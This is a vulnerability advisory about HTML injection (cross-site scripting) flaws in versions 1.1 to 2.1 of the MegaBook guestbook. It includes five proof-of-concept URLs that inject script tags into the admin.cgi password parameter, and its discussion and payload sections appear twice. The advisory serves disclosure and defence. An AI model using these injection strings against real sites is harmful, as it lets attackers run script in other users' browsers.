MegaBook Multiple HTML Injection Vulnerabilities
BID:8065
Info
MegaBook Multiple HTML Injection Vulnerabilities
| Bugtraq ID: | 8065 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 29 2003 12:00AM |
| Updated: | Jun 29 2003 12:00AM |
| Credit: | Discovery is credited to "morning_wood" <[email protected]>. |
| Vulnerable: |
MegaBook MegaBook 2.1 MegaBook MegaBook 2.0 MegaBook MegaBook 1.1 |
| Not Vulnerable: | |
Discussion
MegaBook Multiple HTML Injection Vulnerabilities
MegaBook is prone to multiple HTML injection vulnerabilities. This is due to insufficient sanitization of HTML and script code from user-supplied input, including input supplied to the administrative login page and via the client HTTP User-Agent: header field. Exploitation of these issues could permit hostile HTML or script code to be injected into the guestbook system and rendered in the browser of a legitimate guestbook user.
MegaBook is prone to multiple HTML injection vulnerabilities. This is due to insufficient sanitization of HTML and script code from user-supplied input, including input supplied to the administrative login page and via the client HTTP User-Agent: header field. Exploitation of these issues could permit hostile HTML or script code to be injected into the guestbook system and rendered in the browser of a legitimate guestbook user.
Exploit / POC
MegaBook Multiple HTML Injection Vulnerabilities
There is no exploit required.
The following proof of concepts have been made available by SpyHat:
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=<script>alert('wvs-xss-magic-string-188784308');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password='><script>alert('wvs-xss-magic-string-486624156');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password="><script>alert('wvs-xss-magic-string-1852691616');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=><script>alert('wvs-xss-magic-string-429380114');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=</textarea><script>alert('wvs-xss-magic-string-723975367');</script>
There is no exploit required.
The following proof of concepts have been made available by SpyHat:
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=<script>alert('wvs-xss-magic-string-188784308');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password='><script>alert('wvs-xss-magic-string-486624156');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password="><script>alert('wvs-xss-magic-string-1852691616');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=><script>alert('wvs-xss-magic-string-429380114');</script>
http://www.example.com/admin.cgi?action=modifypost&entryid=66&password=</textarea><script>alert('wvs-xss-magic-string-723975367');</script>
References
MegaBook Multiple HTML Injection Vulnerabilities
References:
References:
- MegaBook Homepage (MegaBook)
- Megabook 2.0 -XSS & UA execution ("morning_wood"
- MegaBook V2.0 - Cross Site Scripting Exploit (Spy Hat
- Re: MegaBook V2.0 - Cross Site Scripting Exploit (Spy Hat